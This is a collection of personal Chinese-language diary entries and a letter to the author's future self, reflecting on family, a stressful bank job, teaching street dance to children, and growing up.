　　请一定要坚持下去。Penbeat也是，鬼步也是，C++也是等等，那些你想学的东西都花了你大量时间，再半途而废不觉得太可惜了吗？

　　我还有好多问题想问呢，比如会做荤菜了吗？味道怎么样？还沉迷于galgame吗（笑）？还喜欢二次元动漫吗？还会为《CLANNAD》而感动流泪、为《eden*》而眼眶湿润吗？好多好多……

　　能让父母省心了吗？他们很辛苦，至少我想让你去舒展一下他们的眉头。有支付宝了吗？能用网银了吗？能理财了吗？能自己独立有序地支配金钱了吗？果然这些问题很现实啊（笑），但我想这些能做到的话，应该能自由自律一点吧。可别再花冤枉钱买些可以不用买的东西哦！（笑 ）直播多少粉丝了？能收入多少？能缓解经济压力吗？这可是我很想见到和知晓的事呢，毕竟我花了太多的心思。能打扮自己了吗？变得有多阳光帅气了？（笑，好像问了不该问的呢）

　　就暂时先到这里吧，应该也问得你晕头转向了。但最后还是添上几个重要的问题吧（笑）：画画怎么样了？能赶得上李睿吗？日语学得怎么样了？不会还是只会50音吧？大学生活怎么样？会想家吗？家和学校往返的时候还晕车吗？见识和眼界有增长一点吗？还是讨厌番茄、鸡蛋、茄子等东西吗？最后一个，最最重要的：还被人称呼过“渣男”吗？我想这时候的你这么优秀，应该没人这么说了吧？不，绝对没有了（微笑）。

　　我的话已经说得差不多了，要是再记起有什么想说的，想问的，我也不补充了，先记在什么地方再说吧。但是也不知道还有没有下封《致一年后自己的一封信》了。要是真的有，怕也不是致一年后，而是大学毕业后了吧？（笑）估计那时我也会有新的，各种各样的问题了吧？也不会像现在问得这样稚嫩了。

　　行了，和你倾吐完毕后，我也该专心应对一年后的高考了，毕竟现在情况不容乐观了，我的成绩正逐渐下滑。嘛，不过也无所谓了。专心学习，到高三第一轮复习那种大潮流，大变动中稳固自己的地位成绩吧。我相信那时候的自己不会令你失望，也会让现在的我放心。

　　祝我自己高考好运。

　　愿世界对你温柔相待。


　　愿：

想学的东西都精通

天天开心

　　　　温柔 如水


　　南国微雪

　　构思于 2017 年 10 月 6 日

　　完成于 2017 年 10 月 9 日

随记

所有难以作为文章发表的，日常所思所想所见所记，收录于此。均为原创。

每篇随记，多有一个特定的主题，或专门记述一件特定的事情。或显或隐，或大或小。

随记 - 2024 年 4 月 12 日

写在前面

444 字 | 生活 | 经历 | 感触

正文

　　或许因为压力大，亦或者简单的糖分不足，今晚好想吃面包和蛋糕。

　　蛋糕吃不完也买不起，面包还是可以。

　　实在饿，出门了。

　　导航两家西点店，关门。怏怏地找另一家。

　　在十点前，找到了。怡朵。还在营业。

　　登门，看到货架基本都空了，于是在余下的品种里挑。

　　“请问您需要什么吗？”

　　“今天想吃面包，好不容易找了两家店都关门了。”

　　店员愣了一下。

　　“请问您需要什么吗？”

　　我看了店员一眼，便不再说话。安安静静挑。

　　挑了一个肉松面包和一个蛋挞。

　　结账，走人，十五块。

　　虽然还想买香芋口味的泡芙，但是太贵了。依依不舍地走出店门。

　　我前脚刚走，后一秒，店员便关了灯，闭上门。

　　我回头看了一眼，正巧再次和她对上眼。

　　店员迅速关了门。


　　回家，打开口袋，挽下锡碗，尝一口。

　　有些冷，但好吃。

　　今天还是我第一次吃蛋挞呢。

　　吃着，想起那个店员。

　　她的眼睛里写满了疲惫。

　　两次看向她，两次都是。于是我不再出声叨扰。

　　吃着，看向身上还没脱下的西装。

　　苦笑一声。


　　生活大概就是这样吧。

　　大家都一样。


　　南国微雪 Miyuki

　　2024 年 4 月 12 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 12 月 19 日

写在前面

288 字 | 思念 | 朋友

正文

　　社团的后辈们。

　　这个人，没有演出，但是带出来了参加表演的人。

　　表演那天，跟我一起毕业的一个学姐，回去看了他们，顺便看了他们表演。

　　演出之后，他说：“春去秋来旗依旧，唯念故人千里遥。”

　　社团的旗帜从初代传下来，甚至旗杆都有五六年了。

　　我们这届毕业的有五个人，只有一个人回去看他们。还是因为打九价。其他人都忙得没时间。

　　我宽慰他，就算没在一起也无所谓。

　　最后有人回了我。一个新生。我们相处过一年，然后我就毕业了。

　　他们希望我回去。


　　本来上班烦躁透顶，看到他们的回复还是叹了口气。

　　好想回学校啊。

　　那群人真可爱啊。


　　南国微雪 Miyuki

　　2023 年 12 月 19 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 12 月 5 日

写在前面

563 字 | 家人 | 文化 | 道歉 | 反思

正文

　　向母亲道歉了。不过母亲已经睡了，大概。

　　父亲和母亲前天开着家里的货车，跨了市，来看我。手里提着一袋酥肉。

　　很多。短时间肯定吃不完。而且这东西很容易回潮。

　　今天母亲打电话问我吃得怎么样了。我一向不太习惯在饭点时间以外吃东西，吃饭比较规律。我说没怎么吃，真的吃不完，到最后肯定要丢掉。母亲就帮我出主意，让带去给食堂做饭的阿姨，帮忙放冰箱里。我说更麻烦了，都不一定会想起去吃。说不定放冰箱里都会放坏掉。于是母亲又想其他办法，但我都嫌麻烦。

　　当时我加班到快十点，特别烦躁，便说：“再说吧，再说。我现在不想想这些问题，好烦。”

　　母亲在电话那边沉默了半晌，哑着声音说：“那好吧，看你。早点休息。”

　　洗漱，写日记，复盘。

　　最后忽然想起母亲的这句话，心里蓦地针扎一样疼。

　　酥肉，母亲亲手炸的，那么大一口袋。最后听我说吃不完要丢掉。

　　那阵沉默意味着什么。

　　我还是太自私自利了。

　　对家人说一些表露爱意和歉意等等感情的话，我对这件事比较抗拒。但是想起工作上那些人，如果不催，或者不联系，别人根本就不会知道。

　　挣扎再三，还是给母亲发了消息。

　　以东亚为代表的“扫兴”式家庭关系，分享快乐少一半，分享忧愁加一倍。我明明最为痛恨。还曾心里暗自发誓，绝对不要这样。

　　为什么今天自己就成了这副样子呢？


　　南国微雪 Miyuki

　　2023 年 12 月 5 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 11 月 25 日

写在前面

285 字 | 时间

正文

　　每每从成都东站的北进站口进站，都会看到这块超大的显示屏。

　　曾有一次，我站在进站口，听着无数路人匆忙赶路的声音，凝视着这块显示屏。

　　凝视良久。

　　公告板给了一块最大的区域，显示现在的时间。

　　除了下面的数字一分一秒地跳动，其他信息仿佛静止。

　　看着下面只是默默走着的数字，我忽然对时间产生了一种莫名的恐惧。

　　自那之后，都很害怕看到这块显示屏。


　　南国微雪 Miyuki

　　2023 年 11 月 25 日

写在后面

　　话说路过还看到了一个以 Z 开头的火车，当时觉得很奇怪。印象中，只有以 C（城际动车）、D（动车/普通动车）、G（高速动车）、K（快车）开头的火车。

　　好奇搜了一下：Z 是 直达 的首字母。

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 11 月 14 日

写在前面

394 字 | 工作 | 感触 | 现状 | 习惯

正文

　　每当工作蚕食了大部分自由，剩下的那小部分时间，你会做什么？

　　如果我还有精力，我大概会报复性地做自己的事情。写作，跳舞，锻炼或者执行自己的年度计划。

　　所以我常常熬夜。我觉得那些时间才是自己的。

　　如果没有精力，大概只会发呆和睡觉。我自己也不清楚为什么，为什么有时宁愿枯坐也不去睡觉。一直盯着一个地方出神，不知道在想些什么。时间也就这样过去了。

　　其实我很不愿意，把获得报酬的劳动叫做工作。在我心目中，工作应该是那些自己愿意做的、有价值的、并且很大程度上必须做的事情。

　　社会上为了获得报酬而进行的劳动，我更愿意称为上班，或者坐牢。

　　兴趣爱好在我这里的定义，几乎与工作相同，只是少了一个要素：很大程度上必须做。

　　报复性熬夜肯定不对。颠倒作息、错失太阳、伤肝又折寿。但我控制不了。

　　但愿世界上没有工作这种东西。传统定义上的那种。


　　南国微雪 Miyuki

　　2023 年 11 月 14 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 11 月 12 日

写在前面

781 字 | 职场 | 加班 | 生活 | 消极内容

正文

　　我真的不清楚是我太脆弱，还是父亲他们太坚强，又或者兼而有之。不过现在真的好累。

　　最近降温，起雾，下雨。慧慧发来一个视频，她那边已经开始下雪了。

　　今天加完班是 18:30。外面在下雨。小雨。

　　我狼吞虎咽地吃完，打算坐公交车回单位。已经停运。于是骑电单车回去。

　　小雨，但是骑车时雨滴扑面而来，仍然打得人睁不开眼。加之长时间工作，中午还不能休息，眼睛更疼得想抠出来。

　　我差点撞一小轿车尾巴上去。

　　车身黑色，尾灯黯淡，雨点密集，看不清。

　　我带着一身寒气回到行里，路上忽然想起父亲。

　　高中，那时还没有四轮，只有两轮。冬天，父亲一个人风尘仆仆地从二十多公里外的家里，赶到学校，让我穿上加绒的护膝，扣好，再让我裹上像熊一样的军大衣。坐上后座，又赶回二十多公里外的家里。

　　父亲也是这样，骑着车。身上没有军大衣，只有一件很旧的棉袄。父亲来接我的时候，总是穿得很厚，起码看起来是这样。

　　但冬天里骑车，再厚都有风灌进后脖颈。

　　那时候我不懂，就在后座上默默地背着高考必背古诗词，迷迷糊糊，近欲睡着。

　　或许现在也不懂。

　　父亲没说过冷，但我现在觉得冷。


　　父亲和母亲都有一种天生的乐观。我学不来。这种乐观似乎仅为工人和农民所有，但我似乎已经背叛了他们。

　　他们让我再忍一忍。

　　我说，我现在真的很难过，很不想工作，每天上班都像还债。

　　他们说，都会过去的。

　　今天加班。他们说，随大流就好，只要今晚不加到半晚就行。

　　我做不到。

　　我很清楚哪些是我应得的权利，从来不应该被侵蚀。

　　父母似乎向来无所谓。

　　这种状态在鲁迅时代有个别称叫阿 Q，而洋气或难听一点，叫做斯德哥尔摩综合征。

　　我做不到被侵占权利后依旧乐观，并且为所剩下的那一点权利高兴。

　　所以我痛苦。


　　我真的不清楚是我太脆弱，还是父亲他们太坚强，又或者兼而有之。

　　我想找到这个答案。

　　但是，或许找到了也并没有什么用处吧。


　　南国微雪 Miyuki

　　2023 年 11 月 12 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 11 月 11 日

写在前面

290 字 | 消极内容

正文

　　我开始有些怀疑我的决定是不是正确的了。

　　今晚有一个大概小学四年级的小男孩，特皮。当时我在照看其他孩子，没注意。他想在一个大孩子面前炫耀翻跟斗。手一软，脑袋磕了。一个大包。哭了。

　　这是我今晚，第一次意识到这个举动的风险。

　　孩子们多多少少会不听话。

　　受伤了家长一定会找到我头上来。尽管完全不是我的责任。

　　加上最近离职的想法，我多少有些于心不忍。我曾经以为，他们是我在这个陌生城市的留恋。现在一想，似乎也没那么重要。

　　大概他们也不缺我这个街舞老师吧。

　　遇到了是惊喜。没遇到才是日常。

　　我已经不知如何是好了。完全不知道该怎么办了。


　　南国微雪 Miyuki

　　2023 年 11 月 11 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 10 月 31 日

写在前面

498 字 | 职场 | 感受

正文

　　开始准备找下一份工作了。

　　行长为了完成全省十佳支行的指标，不择手段放贷款。

　　副主管觉得为了这个指标理所当然，pua 我们加班，应酬，觉得占用个人时间理所当然。

　　指标缺口恰好在带我的同事负责的条线上。

　　今中午她没上来吃饭。我在吃饭的过程中，听到主管给她打电话，听到她不吃饭。然后挂电话，笑她。

　　我下去给她拿了盒农科纯牛奶，一袋面包，两包沙琪玛。看到她在哭。

　　晚上副主管和带我的同事，出去谈业务，非要把我拉上。谈完发现我啥都不会。我说你不给我任何资料，也不给我消息，现在又怪我不知道？副主管：你不知道主动问？我心里：那你他妈非要把我拉上干锤子？

　　车上副主管依旧叫我们该加班加班，自我学习，提高酒量。中途他下车去另一个地方。带我的那个姐姐，坐在司机位，对着我直接开始发气。

　　“我真的受够他的 pua 了。”

　　一群领导把一个小姑娘逼到生理期失调。

　　“为了十佳支行不管我们死活，达成指标他们几万十几万地来，我们啥都没有。这么不择手段不怕纪委查下来吗？省分行难道看不到吗？”

　　副主管回来敲门，那一刹那，我们俩都闭嘴。

　　开门的瞬间，社会气息达到了顶峰。

　　劝君莫进来银行，一定别来农发行。


　　南国微雪 Miyuki

　　2023 年 10 月 31 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 10 月 18 日

写在前面

486 字 | 生活 | 感触 | 童年 | 细节 | 长大

正文

　　今天到了一个快递。衣架。蛇皮口袋装着，但封口很奇怪，像个米袋子。

　　小时候家里买米，我特喜欢拉米袋子封口的绳子。而这一切，只是因为当初看见父亲变了个魔法。

　　父亲剪开左边或右边的线头，然后一拉，整个米口袋便像拉链一样迅速拉开，速度极快，颇有崩塌之势。

　　这令幼时的我大为震撼。

　　自那之后，我每次都希望家里的米快快吃光，能有一个新的米袋子让我折磨。父亲和母亲也不抢，每次买回来都让我拉那个绳子，他们只是在一旁笑盈盈地看着我——看我跟米袋子斗气。

　　因为父亲神神秘秘，也不教我，让我自己去摸索。我前面好几次都失败了。

　　米袋子的封口设计，如果不能一下拉开的话，后续就会特别麻烦，要像穿鞋带一样穿过去穿过来，没有畅快的感觉。

　　失败的滋味当然不好受，所以那时的我还向妈妈提出过一个好笑的请求。

　　“能不能多买一袋米呀？”

　　我想着这些，剪掉左边的线头。

　　一拉，线孔崩裂的声音连续不断地传来，我听着这股声音，看着手里那根长长的线，忽然有些酸楚。

　　我已经不再是当初的那个孩子了。不再为这种事情感到兴奋和好玩了。


　　南国微雪 Miyuki

　　2023 年 10 月 19 日

写在后面

　　米口袋。

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 9 月 28 日

写在前面

295 字 | 家人 | 亲密关系 | 感触 | 等待

正文

　　参加工作之前，母亲让我拿了一张毛毯，说怕冷。

　　毛毯很暖和，但一直没用到，这次拿回来了。

　　母亲让我拿到兄长房间里放着。

　　兄长国庆不放假。

　　我没拿手电筒和手机。摸着黑，在兄长房间门口摸索灯的开关。

　　摸了十几下，才终于摸到。

　　开关的位置比我想象得要低很多。

　　以前都不用摸开关，晚上直接走进去：兄长一定在里面，要么看着书，要么玩游戏。旁边放一盏书桌台灯，照亮桌子周围。

　　我几乎是在一刹那，想到很久之前看过的一句话。

　　“没有人天生就该一直等着你，他们一直在你身后，只是因为他们愿意，也因为他们爱你。”

　　那一瞬间，无法言说的惆怅。


　　南国微雪 Miyuki

　　2023 年 9 月 28 日

封面图

摄影师 | Beth Jnr

图源 | Unsplash

随记 - 2023 年 9 月 15 日

写在前面

881 字 | 舞蹈 | 孩子 | 感触 | 生活 | 城市化 | 热爱

正文

　　今晚依旧去广场跳舞。招了一群孩子和大人围观。

　　有个孩子很认真。跟着学的就三个人，他是最认真的一个。其他两个孩子，很容易走神，或者被同伴打扰。

　　他似乎是一个人。

　　那个孩子把握要点也很准，似乎知道怎样跳舞一样。我夸了夸他，他说，他学过。

　　此话一出，另外一群孩子要求他表演。像是不服气一般。

　　夜色深沉。

　　“你们别欺负他呀！”我有些生气，赶跑了那些孩子。

　　他大概八九岁的样子，上小学。

　　我蹲下来，视线低于他，一边望着他，一边问：“喜欢吗？”

　　“喜欢。”他说。

　　“我觉得你真的很厉害，”我看着他的眼睛，“我到这里来这么久，没看到过一个跳街舞的，你是第一个。”

　　他看着我，没说话。

　　我继续教，他们继续学。


　　广场的灯，一盏接一盏地灭掉。

　　“那我回去了啊，”我向所有的孩子们挥手，“拜拜！”

　　我快走到转弯处时，听到后面一个稚嫩的声音。

　　“等一下！”

　　我回头看，是他。

　　“叔叔你在哪儿住呀？”他望着我。

　　我当时被他气笑了：“叫哥哥！”

　　他挠了挠头。

　　“我在前面的银行上班，”我想了想，继续说，“要想学的话，可以随时给我打电话。”

　　我把唯一的一张传单给他看。

　　“记得住电话吗？”这回该我挠头了。

　　他摇摇头。

　　我想了想，把这张单子给他了，回头我再打印就好了。同时叮嘱他，要是他父母不放心我，可以让他们陪着一起来看。


　　接着，他说了今晚最让我印象深刻的一句话。

　　“我原来的老师不教我了。”他说。

　　我愣住了。

　　“为什么呢？”

　　“他去成都了。”他说。

　　我那一瞬间真的好难过。我没办法诉说那种难过。

　　职业舞者，留在小城市里没有前途。抛下这些喜欢跳舞的孩子们，只给他们留下了一段学舞的记忆。

　　我犹豫了一下：“我还是那句话，想学，随时来找我。我一定教。”

　　这是我能做出的最大承诺了。“两年之后我就要回市里了”，对于他，这句话我说不出口。

　　“你的成就一定比我高，你还小，还有很多时间可以跳舞。”我补充了一句。

　　他就这样看着我。

　　“不早了，回家吧。”我说。

　　我伸出手，握成一个拳头。他下意识地跟着学了起来。

　　然后，我们用拳头，轻轻地碰了一下——像《海贼王》里路飞和他的伙伴们那样。


　　南国微雪 Miyuki

　　2023 年 9 月 15 日

封面图

画师 | 佚名

图源 | Google

随记 - 2023 年 9 月 7 日

写在前面

127 字

正文

　　加班。疲惫之后越来越觉得，自己一直苟且着，为生活低头。

　　这个世界甚是复杂，我尝试着去理解它。理解愈深，便愈觉有趣，世界亦愈迷人。

　　同时也越发感受，自己渺小如蜉蝣。

　　但就算这样，我还是想留下些什么。


　　南国微雪 Miyuki

　　2023 年 9 月 7 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 9 月 4 日

写在前面

63 字 | 思念

正文

　　到了一张可以自选号码的流量卡。

　　选了很久，终于找到了满意的号码。

　　尾号是她的生日。


　　南国微雪 Miyuki

　　2023 年 9 月 7 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 8 月 23 日

写在前面

63 字 | 思念 | 回忆 | 重要之人 | 过去

正文

　　我还是没能忘记她。

　　我以为我做到了。


　　南国微雪 Miyuki

　　2023 年 8 月 23 日

封面图

摄影师 | Casey Horner

图源 | Unsplash

随记 - 2023 年 8 月 7 日

写在前面

638 字 | 经历 | 工人 | 生活 | 人际关系

正文

　　工作日第一天，单位的人抢饭很快。我去的时候菜盆都光了……

　　做饭的阿姨笑说，她数了人，发现少两个，就给我们留了盘菜。那菜盘里每一样菜都挑了一些。

　　吃饭真的挺重要。

　　我想起周六下午，我忙于一个工程，晚饭吃得很敷衍。随便进一家小餐馆吃碗面草草解决。

　　那家餐馆里有工人。餐馆附近有在建大楼。

　　老板娘问：“丝瓜没了，要换成其他的吗？”

　　那些工人围在一张大桌子旁，吵吵闹闹，身上的工作服沾满了各式劳动的证据。

　　“丝瓜没了，就加点黄瓜嘛。”有人笑。

　　“总不可能没得换噻。”有人另笑说。

　　“还说我，这不是瞅着你们哪个不喜欢吃黄瓜吗？”老板娘笑笑抱怨道，“上次还听你们说。”

　　“哎呀，随便了随便。搞快点上菜，饿死了。”

　　工人们都笑。

　　“好好好，别催，马上来啊。”老板娘笑。

　　我看了他们一眼。

　　工人们桌子上，几乎每个人摆一瓶冰镇啤酒，很有夏天的感觉。

　　我不喝酒，但是不让工人们喝，大概算剥夺了他们一天中最快乐和惬意的时间。

　　我看着这个场景，有些感动，又有些失落。

　　我参加工作的头两天，对于各种社会关系总猜不透。去问前辈，得到了这样的答复：“蹭车和一起吃饭不一定代表关系好呀，人与人之间的关系哪有那么简单。”

　　是啊，人与人的关系哪有那么简单。

　　不过有时候，人与人之间的关系，可以非常简单，就如眼前。

　　而失落在于，这群可爱的工人们，如此奔波劳碌辛苦，却还是为很多人潜意识里瞧不起。

　　我算是在这种环境里长大的。

　　底层人民什么时候才能更有生活和底气一些呢？


　　南国微雪 Miyuki

　　2023 年 8 月 7 日

封面图

摄影师 | Christopher Burns

图源 | Unsplash

随记 - 2023 年 7 月 22 日

封面图

摄影师 | Modestas Urbonas

图源 | Unsplash

写在前面

369 字 | 生活 | 人间百态

正文

　　听大人在席上聊天。

　　说最近有头野猪，闯到人家里去，把两个老人咬了。最后没办法，林业局出钱把人送医院去治好。两个老人住了一个多月院。

　　还有某个县，有一架大桥。竣工之后没有祭桥，每年都有人跳河。

　　今年有两个。

　　一个女孩儿，高考没考出理想成绩，家人想让她复读。但是她不肯，觉得压力太大。两方一直协调不下来，女孩儿跳了。

　　一个男孩儿，女朋友谈了好几年了。丈人家里一直要十万彩礼，再怎么说不松口。男孩儿家里实在拿不出来。最后跑了，跑出去找了份工作。从部队回来，跟女朋友说，实在拿不出来，不行就分手。丈人家里松口了只要五万。翌日，男孩一家去接亲，然后丈人家里中途变卦，说一定要十万，不给不出门。

　　男孩儿母亲后来说，当时男孩儿就说了一句话：“妈，我出去一下。”当时母亲还在头疼这事儿，就没管。男孩儿就跳了。

随记 - 2023 年 7 月 12 日

封面图

摄影师 | Maxx Miller

图源 | Unsplash

写在前面

485 字 | 成长

正文

　　看到一个话题，寥寥几字就极尽生活之无奈。

　　「你什么时候发现自己长大了？」

　　意识到过很多次。那些，都是一个个无比真实的下意识瞬间，鲜明的时间点。

　　我曾看过学生和老师吵架，却共情老师；

　　我曾突然发现，现在自己会主动解决见底的菜盘，以免下一顿不好热；

　　我曾看着孩子们身上的统一校服，忽然有些难过；

　　我曾在自己还有很多生活费时打电话要钱，直到现在父母打电话过来，骗他们自己仍然能过下去；

　　我曾最关心的是谁与谁恋爱了、哪部番剧最好看，现在却完全无暇关心这些；

　　我曾缠着父母说换手机，直到如今看见六块一斤的桃子摇头走开；

　　我曾看见母亲踩空摔倒在地，却无能为力；

　　我曾无意间翻出父母的 CT 照片和处方签；

　　我曾觉得所有人都很善良；

　　我曾冷酷地达成目的，差点怀疑成果并非我所为；

　　我曾好意遮遮掩掩，现时却大方表明心迹。


　　那时的我，对口口声声的道理嗤之以鼻。

　　“道理谁不懂？”

　　现在发现，很多真理抑或正道，很早之前便皎如日星，但是自己一直不懂装懂，视而不见。

　　长大了吗？我觉得没有。或许意识到自己一直长不大，正是长大的开始。


　　南国微雪 Miyuki

　　2023 年 7 月 12 日

写在后面

　　我希望一直做一个小孩子。

随记 - 2023 年 7 月 3 日

　　乡下，暴雨，停电。说停就停，农村丝毫不含糊。

　　那时候我在睡觉。我起床后，听父亲说，好险刚才那一批蒸得差不多了。

　　现在，母亲望着案板上还没有蒸的包子，一筹莫展。


　　南国微雪 Miyuki

　　2023 年 7 月 3 日

随记 - 2023 年 6 月 27 日

封面图

摄影师 | Antoine Beauvillain

图源 | Unsplash

写在前面

860 字 | 思考 | 朋友 | 观念

正文

　　忽然看到自己的同学们一个接一个地去旅游了，在朋友圈里大发感慨，还附图。

　　我忽然想起一件事。

　　一个朋友，原来去武汉见一个朋友，钱包被偷了，走投无路，找我借钱改签车票。她和我说了一路上很多趣事，其中就有——陌生人加她好友，看她朋友圈很精彩，约她去旅游。

　　聊天过程中，有一句话特别惹人注意。

　　“我都这样了，还要在朋友圈装出一副岁月静好的样子。”

　　我当时特别不能理解。

　　我觉得自己过得有多好，亦或者有多么糟糕，完全没有必要向别人披露。更不提需要装“我过得很好”这种事情。 我愿意分享的，从来都是我认为值得分享的事情。

　　好就是好，坏就是坏，屏幕彼岸究竟不是自己，无法知其辛酸苦辣。

　　精彩绝伦处，没必要给别人脸色炫耀。我总觉得这仿佛昭告天下：“你看看我，再看看你自己！”

　　锅盆惨淡时，也没有必要给别人取笑。谁也不愿自己的窘境沦为众人茶余谈资。

　　于是这样一通下来，发不发朋友圈，是最无关紧要的事了。

　　我拍了很多很多照片。在大学里，相机所摄和 Google Photos 所存，林林总总近七千多照片视频。然而，我基本没怎么发过。

　　写到这里，我忽然想起一个后辈的感情史。有个学妹，在他发言和展示履历时，觉得他很优秀，便向他表白了。

　　如此看来，“展示”这个行为似也颇为重要了。

　　“你不说，我又怎么会知道？”

　　难以言表。想来想去，终究无解。大概这也需要平衡吧。

　　然后，致命的问题接踵而至：什么值得展示？

　　我至今一直认为，我所做的所有事情，没有一件值得给人夸耀。

　　做事，安安静静去做就好了，声张什么呢？

　　做自己想做的事情，本身就是幸福。

　　想去旅行，所以计划行程；想看到有人感同身受、少走弯路，于是开始写作和编撰教程；想锻炼身体与表达感激，于是进行长跑。

　　这些事情，本质上是自己愿意去做，而非因为值得炫耀或看起来能让人觉得过得很好。 所以也没有一件值得发表，因为在价值天平上，它们都因“想做”而平等。

　　若非如此，总觉得有些“动机不纯”。

　　时至今日，我还是想不通那个朋友是什么观念，也还是想不通什么值得展示。

　　于是我还是回归我原来的默默无闻罢。


　　南国微雪 Miyuki

　　2023 年 6 月 27 日

随记 - 2023 年 6 月 25 日

封面图

摄影师 | Alyson McPhee

图源 | Unsplash

写在前面

381 字 | 家人

正文

　　今晚和母亲做饭。

　　犹记得，以前自己一无所知。烧了油，水滤过的菜直接对着身前放。菜还没下完，人就已经被油溅了一身。有几滴还溅到脸上手上，烫得人哇哇大叫。

　　母亲也急，总是说我。后面教我，要么菜放到锅铲上往下倒，人侧到一边，要么用锅铲反扣抵住锅沿，把食材放到凹槽里。

　　母亲还教我系围裙。那时总是全副武装的样子，但还是做不好。

　　今晚还是母亲主厨。

　　我看她侧身下菜的背影，竟一时间有些陌生。

　　我凑近看，母亲又开始似笑非笑地说：“凑这么近，小心把人烫傻了。”

　　“不会，不会，这都多大了……”

　　“那里有围裙，你系上再过来吧。”母亲把葱放进锅里，侧身对着我。

　　我看着母亲身上的短衣短裤，以及长时间户外作业留下的臂膊晒痕，想说些什么，但又说不出来。


　　南国微雪 Miyuki

　　2023 年 6 月 25 日

写在后面

　　回家以后拍了几张母亲的图。母亲看见了，说我是偷拍。

　　“你怎么偷拍了这么多？”

随记 - 2023 年 6 月 9 日

　　之前与母亲说，10 号全体毕业生离校。

　　最近对学校托辞有事，延迟离校。

　　今天母亲打来电话，我说了这个事。

　　母亲笑了笑说：“我还说今天专门在家给你蒸个馍，等你明天回来吃，那这岂不是又搞不成了？”

　　那一瞬间，罪恶感上涌。有些难过。


　　但就算这样，我还是不想回家。

　　不想看到他们吵架。

随记 - 2023 年 4 月 4 日

封面图

摄影师 | Yang Yu

图源 | Unsplash

写在前面

1058 字 | 感触 | 过往

正文

　　前些天晚上。

　　我们依旧老地方练舞，但这次好像多了些人。并非我们的人，而是动漫社的人。应该是排练什么节目，最后一次合拍彩排。

　　清一色的女孩子，穿得漂漂亮亮。大部分洛丽塔，小部分汉服，零星几个 JK。服装齐全。 看不清相貌如何，据最近的看，似乎化了妆。

　　场面蔚为大观。

　　我看不清那些人， 但不用看也知道，现在场上的这群女孩子，很容易勾人恻隐之心。

　　这恻隐之心，无关性别。而今天的话题，也无关男女。

　　早些年，我也是浪迹于动漫之中的二次元爱好者。标志性特征，就是羡慕那 16:9 荧屏中的美好，觉得现实丑恶不堪，泥泞又肮脏。

　　彼时我羡艳里面的友情、爱情、救赎和勇气等等，同时无比渴望——有一个人来拯救我于这水深火热之中。 而且那人，最好是异性，容貌姣好，亭亭玉立且落落大方。

　　不要笑。我觉得这可能是很多人刚进入动漫世界里的常态。

　　那时候，我是他们一群人中的一员——站在那群打扮艳丽的女孩子旁，远远地观望着她们的那群人。

　　更遥远的时候，我也曾面目狰狞地憎恶过为什么我不是她们，只是看上去便让人心情愉悦。但此处无关主题，封笔不谈。

　　我现在认为，那时候的我，受动漫拯救，也为它所荼毒。

　　可能荼毒多一点。

　　不知何时起，年少的我意识到，这样绝无可能等到梦中之人。或有意或无意，渐渐地疏远了这个领域。而最重要的一个变化，便是开始了舞蹈。这大概是影响一生的决定，却润物无声。

　　年少的我，曾观望着形容绮丽的她们，无比钦慕；也观望着挥汗如雨，练习舞蹈的他们，理解不能。那时是真真正正地不能感悟到——他们，究竟是为了什么，累，并且不能讨好更多的人。 那时我想，我大概绝不会成为这样的人。

　　而如今的我，正观望着同样姣容月貌的她们，只有欣赏；却坚定无比地，站在汗如雨下、累而不讨好的这一边。

　　似乎一再成为了当初自己无法想象的样子。

　　这便是这篇文章的来源。

　　当我意识到这个想法的时候，我似乎隔着接近十年差距的时光隧道，远远地和那个年少的自己，对上了一眼。

　　街舞和宅舞，没有高下之分，优劣各持。我只是感慨：我似乎，终究选择了走上现实这一条路。也品尝到了，它所带给我的累累硕果。

　　而至于另一个平行世界线，一直坚守着梦中之人的那个我，有没有得到梦寐以求的结果，我不知道。或许吧，但这也无关紧要了。

　　有可能的话，我只是想对这个世界线上、时光隧道那头的自己说一句：等是等不到的，早日拥抱现实，可能你会更开心一点。

　　如今我依旧看那些美好，但也只能勉为其难称为伪宅；也依旧和他们在一起——去玩、去图书馆、去约饭、去表演。

　　我想我现在，更喜欢后面的生活。


　　南国微雪 Miyuki

　　2023 年 4 月 4 日

随记 - 2023 年 1 月 18 日

封面图

摄影师 | Taylor Kiser

图源 | Unsplash

写在前面

1362 字 | 心绪强烈

正文

　　写这则随记完全出于意外。

　　今天做饭之前，随手拿了一块昨天父母随礼拿回来的巧克力。

　　咬一口，一皱眉。

　　酒心的。

　　我没细看，不知道。我也不知道这算不算“破戒”，我觉得大概不算吧。

　　这个酒心有点甜，但是吃到后面有点涩。涩的感觉很像红酒—— 这个味道我记忆犹新，因为红酒，起码我喝的那瓶，很难喝。


　　红酒是某一年过年，家里亲戚送的。号称两千块钱一瓶，一共送了两瓶。

　　我爸努了努嘴，我心领神会，开瓶。然后被橡胶塞卡了半天。父子两人用尽各种办法，刀划，钳子夹，甚至父亲还上了做彩钢棚的大型工具。然后望瓶兴叹。

　　直到我们发现附赠的螺旋起瓶器。

　　那时候还没有立下不喝酒的誓言，就算这样，第一口也和我想象中形成了巨大的反差。

　　太涩了。不好喝。不对，很难喝。后劲还大。

　　父亲也觉得不好喝。这两瓶，一瓶送人了，开的那瓶，我们花了一周多才喝完。

　　“甚至不如我们村里几块钱一斤的烧老二，”父亲苦笑，“看来我们没有享受的那个命。”

　　后面这句话，我到现在都有很深的感触。

　　自打小时候家里就挺穷。那时候父亲接我上下学，一直这样到高中毕业。

　　用摩托车。

　　或许也是这样，那时候我很讨厌坐车，不论轿车、面包车还是大巴车，甚至公交车都很讨厌。只要带密闭空间的交通工具，我都不喜欢。

　　父亲有时候会问伏在摩托车后座的我冷不冷。我说，不冷。

　　“四个轮子的，暖和得多，也不用这么遭罪了。”

　　“算了，我晕。”

　　“也是哈，我们这个是天然空调。”父亲调侃，然后一阵哈哈大笑。

　　我也笑。

